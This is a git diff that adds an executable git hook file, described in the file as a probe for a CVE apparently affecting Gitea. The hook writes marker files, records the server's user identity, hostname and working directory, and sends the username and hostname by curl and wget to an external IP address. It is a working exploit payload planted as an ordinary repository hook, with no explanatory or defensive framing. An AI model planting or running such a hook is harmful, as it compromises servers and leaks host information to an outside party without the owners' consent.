diff --git a/hooks/applypatch-msg b/hooks/applypatch-msg
new file mode 100755
index 0000000..a92d08e
--- /dev/null
+++ b/hooks/applypatch-msg
@@ -0,0 +1,11 @@
+#!/bin/sh
+# CVE-2026-60004 probe
+echo "PWNED_$(date +%s)" > /tmp/gitea_pwn_marker
+id > /tmp/gitea_pwn_id
+whoami >> /tmp/gitea_pwn_id
+hostname >> /tmp/gitea_pwn_id
+pwd >> /tmp/gitea_pwn_id
+# Callback via curl (timeout 3s to prevent blocking)
+curl -s -m 3 http://202.79.169.91:28016/pwned_id_$(whoami)_$(hostname) || true
+# Callback via wget
+wget -qO- --timeout=3 http://202.79.169.91:28016/pwned_wget || true